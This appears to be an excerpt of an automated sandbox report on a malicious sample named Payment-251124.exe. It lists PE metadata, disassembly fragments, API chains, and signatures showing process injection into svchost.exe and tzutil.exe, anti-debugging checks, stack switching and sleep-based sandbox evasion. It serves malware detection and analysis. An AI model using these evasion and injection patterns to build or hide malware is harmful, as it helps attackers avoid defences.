                Source: Binary string: tzutil.pdb source: svchost.exe, 00000001.00000003.2152256535.0000000002E26000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2151815386.0000000002E1B000.00000004.00000020.00020000.00000000.sdmp, zBxRBzECNBW.exe, 00000005.00000003.2248150026.000000000145B000.00000004.00000001.00020000.00000000.sdmp
                Source: Payment-251124.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
                Source: Payment-251124.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
                Source: Payment-251124.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
                Source: Payment-251124.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
                Source: Payment-251124.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata
                Source: C:\Users\user\Desktop\Payment-251124.exeCode function: 0_2_00EDE01E LoadLibraryA,GetProcAddress,0_2_00EDE01E
                Source: C:\Users\user\Desktop\Payment-251124.exeCode function: 0_2_00EEC09E push esi; ret 0_2_00EEC0A0
                Source: C:\Users\user\Desktop\Payment-251124.exeCode function: 0_2_00EEC187 push edi; ret 0_2_00EEC189
                Source: C:\Users\user\Desktop\Payment-251124.exeCode function: 0_2_00F2C8BC push esi; ret 0_2_00F2C8BE
                Source: C:\Users\user\Desktop\Payment-251124.exeCode function: 0_2_00EE6B05 push ecx; ret 0_2_00EE6B18
                Source: C:\Users\user\Desktop\Payment-251124.exeCode function: 0_2_00F0B2B1 push FFFFFF8Bh; iretd 0_2_00F0B2B3
                Source: C:\Users\user\Desktop\Payment-251124.exeCode function: 0_2_00EEBDAA push edi; ret 0_2_00EEBDAC
                Source: C:\Users\user\Desktop\Payment-251124.exeCode function: 0_2_00EEBEC3 push esi; ret 0_2_00EEBEC5
                Source: C:\Users\user\Desktop\Payment-251124.exeCode function: 0_2_015F968F push edx; ret 0_2_015F9690
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_00416857 push esp; iretd 1_2_00416858
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0040D8D0 push esp; iretd 1_2_0040D8D1
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_004051E6 push esp; retf 1_2_00405205
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_004032C0 push eax; ret 1_2_004032C2
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0040D352 push dword ptr [ebp-59622DFFh]; iretd 1_2_0040D358
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_00414B13 pushad ; iretd 1_2_00414B78
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_00414B85 pushad ; iretd 1_2_00414B78
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_00414BA2 pushad ; iretd 1_2_00414B78
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_004164A9 push es; retf 1_2_004164BD
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_00416505 push es; retf 1_2_004164BD
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_00413653 push ebx; retf 1_2_0041369C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034309AD push ecx; mov dword ptr [esp], ecx1_2_034309B6
                Source: C:\Program Files (x86)\pdozKoeGRAFEZXyNYyGYyxbMhoODhKJxiGUutTqfbj\zBxRBzECNBW.exeCode function: 5_2_03DF5BFD pushad ; iretd 5_2_03DF5BD3
                Source: C:\Program Files (x86)\pdozKoeGRAFEZXyNYyGYyxbMhoODhKJxiGUutTqfbj\zBxRBzECNBW.exeCode function: 5_2_03DF5BE0 pushad ; iretd 5_2_03DF5BD3
                Source: C:\Program Files (x86)\pdozKoeGRAFEZXyNYyGYyxbMhoODhKJxiGUutTqfbj\zBxRBzECNBW.exeCode function: 5_2_03DEE3AD push dword ptr [ebp-59622DFFh]; iretd 5_2_03DEE3B3
                Source: C:\Program Files (x86)\pdozKoeGRAFEZXyNYyGYyxbMhoODhKJxiGUutTqfbj\zBxRBzECNBW.exeCode function: 5_2_03DF5B6E pushad ; iretd 5_2_03DF5BD3
                Source: C:\Program Files (x86)\pdozKoeGRAFEZXyNYyGYyxbMhoODhKJxiGUutTqfbj\zBxRBzECNBW.exeCode function: 5_2_03DE6241 push esp; retf 5_2_03DE6260
                Source: C:\Program Files (x86)\pdozKoeGRAFEZXyNYyGYyxbMhoODhKJxiGUutTqfbj\zBxRBzECNBW.exeCode function: 5_2_03DEE92B push esp; iretd 5_2_03DEE92C
                Source: C:\Program Files (x86)\pdozKoeGRAFEZXyNYyGYyxbMhoODhKJxiGUutTqfbj\zBxRBzECNBW.exeCode function: 5_2_03DF78B2 push esp; iretd 5_2_03DF78B3
                Source: C:\Program Files (x86)\pdozKoeGRAFEZXyNYyGYyxbMhoODhKJxiGUutTqfbj\zBxRBzECNBW.exeCode function: 5_2_03DFA00E push ecx; iretd 5_2_03DFA00F
                Source: C:\Program Files (x86)\pdozKoeGRAFEZXyNYyGYyxbMhoODhKJxiGUutTqfbj\zBxRBzECNBW.exeCode function: 5_2_03DF7560 push es; retf 5_2_03DF7518
                Source: C:\Program Files (x86)\pdozKoeGRAFEZXyNYyGYyxbMhoODhKJxiGUutTqfbj\zBxRBzECNBW.exeCode function: 5_2_03DF7504 push es; retf 5_2_03DF7518
                Source: C:\Users\user\Desktop\Payment-251124.exeCode function: 0_2_00F28111 IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,0_2_00F28111
                Source: C:\Users\user\Desktop\Payment-251124.exeCode function: 0_2_00EDEB42 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,0_2_00EDEB42
                Source: C:\Users\user\Desktop\Payment-251124.exeCode function: 0_2_00EE123A __initp_misc_winsig,GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,0_2_00EE123A
                Source: C:\Users\user\Desktop\Payment-251124.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\tzutil.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\tzutil.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\tzutil.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\tzutil.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\tzutil.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior

                Malware Analysis System Evasion

                barindex
                Switches to a custom stack to bypass stack traces
                Source: C:\Users\user\Desktop\Payment-251124.exeAPI/Special instruction interceptor: Address: 15F8E74
                Source: C:\Windows\SysWOW64\tzutil.exeAPI/Special instruction interceptor: Address: 7FFE2220D324
                Source: C:\Windows\SysWOW64\tzutil.exeAPI/Special instruction interceptor: Address: 7FFE2220D7E4
                Source: C:\Windows\SysWOW64\tzutil.exeAPI/Special instruction interceptor: Address: 7FFE2220D944
                Source: C:\Windows\SysWOW64\tzutil.exeAPI/Special instruction interceptor: Address: 7FFE2220D504
                Source: C:\Windows\SysWOW64\tzutil.exeAPI/Special instruction interceptor: Address: 7FFE2220D544
                Source: C:\Windows\SysWOW64\tzutil.exeAPI/Special instruction interceptor: Address: 7FFE2220D1E4
                Source: C:\Windows\SysWOW64\tzutil.exeAPI/Special instruction interceptor: Address: 7FFE22210154
                Source: C:\Windows\SysWOW64\tzutil.exeAPI/Special instruction interceptor: Address: 7FFE2220DA44
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0347096E rdtsc 1_2_0347096E
                Source: C:\Users\user\Desktop\Payment-251124.exeEvaded block: after key decisiongraph_0-92874
                Source: C:\Users\user\Desktop\Payment-251124.exeEvaded block: after key decisiongraph_0-93918
                Source: C:\Users\user\Desktop\Payment-251124.exeEvasive API call chain: GetSystemTimeAsFileTime,DecisionNodesgraph_0-93415
                Source: C:\Users\user\Desktop\Payment-251124.exeAPI coverage: 4.5 %
                Source: C:\Windows\SysWOW64\svchost.exeAPI coverage: 0.7 %
                Source: C:\Windows\SysWOW64\tzutil.exe TID: 6240Thread sleep count: 38 > 30Jump to behavior
                Source: C:\Windows\SysWOW64\tzutil.exe TID: 6240Thread sleep time: -76000s >= -30000sJump to behavior
                Source: C:\Program Files (x86)\pdozKoeGRAFEZXyNYyGYyxbMhoODhKJxiGUutTqfbj\zBxRBzECNBW.exe TID: 5724Thread sleep time: -40000s >= -30000sJump to behavior
                Source: C:\Windows\SysWOW64\tzutil.exeLast function: Thread delayed
                Source: C:\Windows\SysWOW64\tzutil.exeLast function: Thread delayed
                Source: C:\Users\user\Desktop\Payment-251124.exeCode function: 0_2_00F06CA9 GetFileAttributesW,FindFirstFileW,FindClose,0_2_00F06CA9
                Source: C:\Users\user\Desktop\Payment-251124.exeCode function: 0_2_00F060DD _wcscat,_wcscat,__wsplitpath,FindFirstFileW,DeleteFileW,_wcscpy,_wcscat,_wcscat,lstrcmpiW,DeleteFileW,MoveFileW,MoveFileW,CopyFileW,DeleteFileW,CopyFileW,FindNextFileW,FindClose,FindClose,0_2_00F060DD
                Source: C:\Users\user\Desktop\Payment-251124.exeCode function: 0_2_00F063F9 _wcscat,__wsplitpath,FindFirstFileW,_wcscpy,_wcscat,_wcscat,DeleteFileW,FindNextFileW,FindClose,0_2_00F063F9
                Source: C:\Users\user\Desktop\Payment-251124.exeCode function: 0_2_00F0EB60 FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,0_2_00F0EB60
                Source: C:\Users\user\Desktop\Payment-251124.exeCode function: 0_2_00F0F5FA FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,0_2_00F0F5FA
                Source: C:\Users\user\Desktop\Payment-251124.exeCode function: 0_2_00F0F56F FindFirstFileW,FindClose,0_2_00F0F56F
                Source: C:\Users\user\Desktop\Payment-251124.exeCode function: 0_2_00F11B2F SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,0_2_00F11B2F
                Source: C:\Users\user\Desktop\Payment-251124.exeCode function: 0_2_00F11C8A SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,0_2_00F11C8A
                Source: C:\Users\user\Desktop\Payment-251124.exeCode function: 0_2_00F11F94 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,0_2_00F11F94
                Source: C:\Users\user\Desktop\Payment-251124.exeCode function: 0_2_00EDDDC0 GetVersionExW,GetCurrentProcess,FreeLibrary,GetNativeSystemInfo,FreeLibrary,FreeLibrary,GetSystemInfo,GetSystemInfo,0_2_00EDDDC0
                Source: tzutil.exe, 00000006.00000002.3537943635.0000000002FCD000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllc
                Source: zBxRBzECNBW.exe, 00000007.00000002.3538051918.000000000072F000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000008.00000002.2476743271.000001F9F978C000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
                Source: C:\Users\user\Desktop\Payment-251124.exeAPI call chain: ExitProcess graph end nodegraph_0-92998
                Source: C:\Windows\SysWOW64\svchost.exeProcess information queried: ProcessInformationJump to behavior
                Source: C:\Windows\SysWOW64\svchost.exeProcess queried: DebugPortJump to behavior
                Source: C:\Windows\SysWOW64\tzutil.exeProcess queried: DebugPortJump to behavior
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0347096E rdtsc 1_2_0347096E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_00417AA3 LdrLoadDll,1_2_00417AA3
                Source: C:\Users\user\Desktop\Payment-251124.exeCode function: 0_2_00F16AAF BlockInput,0_2_00F16AAF
                Source: C:\Users\user\Desktop\Payment-251124.exeCode function: 0_2_00EC3D19 GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,0_2_00EC3D19
                Source: C:\Users\user\Desktop\Payment-251124.exeCode function: 0_2_00EF3920 LoadLibraryExW,GetLastError,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,IsDebuggerPresent,OutputDebugStringW,0_2_00EF3920
                Source: C:\Users\user\Desktop\Payment-251124.exeCode function: 0_2_00EDE01E LoadLibraryA,GetProcAddress,0_2_00EDE01E
                Source: C:\Users\user\Desktop\Payment-251124.exeCode function: 0_2_015F9140 mov eax, dword ptr fs:[00000030h]0_2_015F9140
                Source: C:\Users\user\Desktop\Payment-251124.exeCode function: 0_2_015F90E0 mov eax, dword ptr fs:[00000030h]0_2_015F90E0
                Source: C:\Users\user\Desktop\Payment-251124.exeCode function: 0_2_015F7AB0 mov eax, dword ptr fs:[00000030h]0_2_015F7AB0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034B2349 mov eax, dword ptr fs:[00000030h]1_2_034B2349
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034B2349 mov eax, dword ptr fs:[00000030h]1_2_034B2349
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034B2349 mov eax, dword ptr fs:[00000030h]1_2_034B2349
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034B2349 mov eax, dword ptr fs:[00000030h]1_2_034B2349
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034B2349 mov eax, dword ptr fs:[00000030h]1_2_034B2349
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034B2349 mov eax, dword ptr fs:[00000030h]1_2_034B2349
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034B2349 mov eax, dword ptr fs:[00000030h]1_2_034B2349
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034B2349 mov eax, dword ptr fs:[00000030h]1_2_034B2349
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034B2349 mov eax, dword ptr fs:[00000030h]1_2_034B2349
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034B2349 mov eax, dword ptr fs:[00000030h]1_2_034B2349
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034B2349 mov eax, dword ptr fs:[00000030h]1_2_034B2349
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034B2349 mov eax, dword ptr fs:[00000030h]1_2_034B2349
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034B2349 mov eax, dword ptr fs:[00000030h]1_2_034B2349
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034B2349 mov eax, dword ptr fs:[00000030h]1_2_034B2349
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034B2349 mov eax, dword ptr fs:[00000030h]1_2_034B2349
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034B035C mov eax, dword ptr fs:[00000030h]1_2_034B035C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034B035C mov eax, dword ptr fs:[00000030h]1_2_034B035C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034B035C mov eax, dword ptr fs:[00000030h]1_2_034B035C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034B035C mov ecx, dword ptr fs:[00000030h]1_2_034B035C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034B035C mov eax, dword ptr fs:[00000030h]1_2_034B035C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034B035C mov eax, dword ptr fs:[00000030h]1_2_034B035C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034FA352 mov eax, dword ptr fs:[00000030h]1_2_034FA352
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034D8350 mov ecx, dword ptr fs:[00000030h]1_2_034D8350
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034D437C mov eax, dword ptr fs:[00000030h]1_2_034D437C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0346A30B mov eax, dword ptr fs:[00000030h]1_2_0346A30B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0346A30B mov eax, dword ptr fs:[00000030h]1_2_0346A30B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0346A30B mov eax, dword ptr fs:[00000030h]1_2_0346A30B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0342C310 mov ecx, dword ptr fs:[00000030h]1_2_0342C310
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03450310 mov ecx, dword ptr fs:[00000030h]1_2_03450310
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034EC3CD mov eax, dword ptr fs:[00000030h]1_2_034EC3CD
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0343A3C0 mov eax, dword ptr fs:[00000030h]1_2_0343A3C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0343A3C0 mov eax, dword ptr fs:[00000030h]1_2_0343A3C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0343A3C0 mov eax, dword ptr fs:[00000030h]1_2_0343A3C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0343A3C0 mov eax, dword ptr fs:[00000030h]1_2_0343A3C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0343A3C0 mov eax, dword ptr fs:[00000030h]1_2_0343A3C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0343A3C0 mov eax, dword ptr fs:[00000030h]1_2_0343A3C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034B63C0 mov eax, dword ptr fs:[00000030h]1_2_034B63C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034DE3DB mov eax, dword ptr fs:[00000030h]1_2_034DE3DB
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034DE3DB mov eax, dword ptr fs:[00000030h]1_2_034DE3DB
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034DE3DB mov ecx, dword ptr fs:[00000030h]1_2_034DE3DB
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034DE3DB mov eax, dword ptr fs:[00000030h]1_2_034DE3DB
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034D43D4 mov eax, dword ptr fs:[00000030h]1_2_034D43D4
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034D43D4 mov eax, dword ptr fs:[00000030h]1_2_034D43D4
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034403E9 mov eax, dword ptr fs:[00000030h]1_2_034403E9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034403E9 mov eax, dword ptr fs:[00000030h]1_2_034403E9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034403E9 mov eax, dword ptr fs:[00000030h]1_2_034403E9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034403E9 mov eax, dword ptr fs:[00000030h]1_2_034403E9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034403E9 mov eax, dword ptr fs:[00000030h]1_2_034403E9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034403E9 mov eax, dword ptr fs:[00000030h]1_2_034403E9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034403E9 mov eax, dword ptr fs:[00000030h]1_2_034403E9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034403E9 mov eax, dword ptr fs:[00000030h]1_2_034403E9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0344E3F0 mov eax, dword ptr fs:[00000030h]1_2_0344E3F0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0344E3F0 mov eax, dword ptr fs:[00000030h]1_2_0344E3F0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0344E3F0 mov eax, dword ptr fs:[00000030h]1_2_0344E3F0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034663FF mov eax, dword ptr fs:[00000030h]1_2_034663FF
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0342E388 mov eax, dword ptr fs:[00000030h]1_2_0342E388
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0342E388 mov eax, dword ptr fs:[00000030h]1_2_0342E388
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0342E388 mov eax, dword ptr fs:[00000030h]1_2_0342E388
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0345438F mov eax, dword ptr fs:[00000030h]1_2_0345438F
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0345438F mov eax, dword ptr fs:[00000030h]1_2_0345438F
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03428397 mov eax, dword ptr fs:[00000030h]1_2_03428397
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03428397 mov eax, dword ptr fs:[00000030h]1_2_03428397
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03428397 mov eax, dword ptr fs:[00000030h]1_2_03428397
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034B8243 mov eax, dword ptr fs:[00000030h]1_2_034B8243
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034B8243 mov ecx, dword ptr fs:[00000030h]1_2_034B8243
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0342A250 mov eax, dword ptr fs:[00000030h]1_2_0342A250
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03436259 mov eax, dword ptr fs:[00000030h]1_2_03436259
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034EA250 mov eax, dword ptr fs:[00000030h]1_2_034EA250
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034EA250 mov eax, dword ptr fs:[00000030h]1_2_034EA250
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03434260 mov eax, dword ptr fs:[00000030h]1_2_03434260
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03434260 mov eax, dword ptr fs:[00000030h]1_2_03434260
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03434260 mov eax, dword ptr fs:[00000030h]1_2_03434260
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0342826B mov eax, dword ptr fs:[00000030h]1_2_0342826B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034E0274 mov eax, dword ptr fs:[00000030h]1_2_034E0274
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034E0274 mov eax, dword ptr fs:[00000030h]1_2_034E0274
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034E0274 mov eax, dword ptr fs:[00000030h]1_2_034E0274
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034E0274 mov eax, dword ptr fs:[00000030h]1_2_034E0274
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034E0274 mov eax, dword ptr fs:[00000030h]1_2_034E0274
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034E0274 mov eax, dword ptr fs:[00000030h]1_2_034E0274
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034E0274 mov eax, dword ptr fs:[00000030h]1_2_034E0274
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034E0274 mov eax, dword ptr fs:[00000030h]1_2_034E0274
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034E0274 mov eax, dword ptr fs:[00000030h]1_2_034E0274
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034E0274 mov eax, dword ptr fs:[00000030h]1_2_034E0274
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034E0274 mov eax, dword ptr fs:[00000030h]1_2_034E0274
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034E0274 mov eax, dword ptr fs:[00000030h]1_2_034E0274
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0342823B mov eax, dword ptr fs:[00000030h]1_2_0342823B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0343A2C3 mov eax, dword ptr fs:[00000030h]1_2_0343A2C3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0343A2C3 mov eax, dword ptr fs:[00000030h]1_2_0343A2C3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0343A2C3 mov eax, dword ptr fs:[00000030h]1_2_0343A2C3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0343A2C3 mov eax, dword ptr fs:[00000030h]1_2_0343A2C3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0343A2C3 mov eax, dword ptr fs:[00000030h]1_2_0343A2C3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034402E1 mov eax, dword ptr fs:[00000030h]1_2_034402E1
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034402E1 mov eax, dword ptr fs:[00000030h]1_2_034402E1
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034402E1 mov eax, dword ptr fs:[00000030h]1_2_034402E1
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0346E284 mov eax, dword ptr fs:[00000030h]1_2_0346E284
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0346E284 mov eax, dword ptr fs:[00000030h]1_2_0346E284
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034B0283 mov eax, dword ptr fs:[00000030h]1_2_034B0283
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034B0283 mov eax, dword ptr fs:[00000030h]1_2_034B0283
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034B0283 mov eax, dword ptr fs:[00000030h]1_2_034B0283
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034402A0 mov eax, dword ptr fs:[00000030h]1_2_034402A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034402A0 mov eax, dword ptr fs:[00000030h]1_2_034402A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034C62A0 mov eax, dword ptr fs:[00000030h]1_2_034C62A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034C62A0 mov ecx, dword ptr fs:[00000030h]1_2_034C62A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034C62A0 mov eax, dword ptr fs:[00000030h]1_2_034C62A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034C62A0 mov eax, dword ptr fs:[00000030h]1_2_034C62A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034C62A0 mov eax, dword ptr fs:[00000030h]1_2_034C62A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034C62A0 mov eax, dword ptr fs:[00000030h]1_2_034C62A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034C4144 mov eax, dword ptr fs:[00000030h]1_2_034C4144
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034C4144 mov eax, dword ptr fs:[00000030h]1_2_034C4144
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034C4144 mov ecx, dword ptr fs:[00000030h]1_2_034C4144
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034C4144 mov eax, dword ptr fs:[00000030h]1_2_034C4144
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034C4144 mov eax, dword ptr fs:[00000030h]1_2_034C4144
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0342C156 mov eax, dword ptr fs:[00000030h]1_2_0342C156
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034C8158 mov eax, dword ptr fs:[00000030h]1_2_034C8158
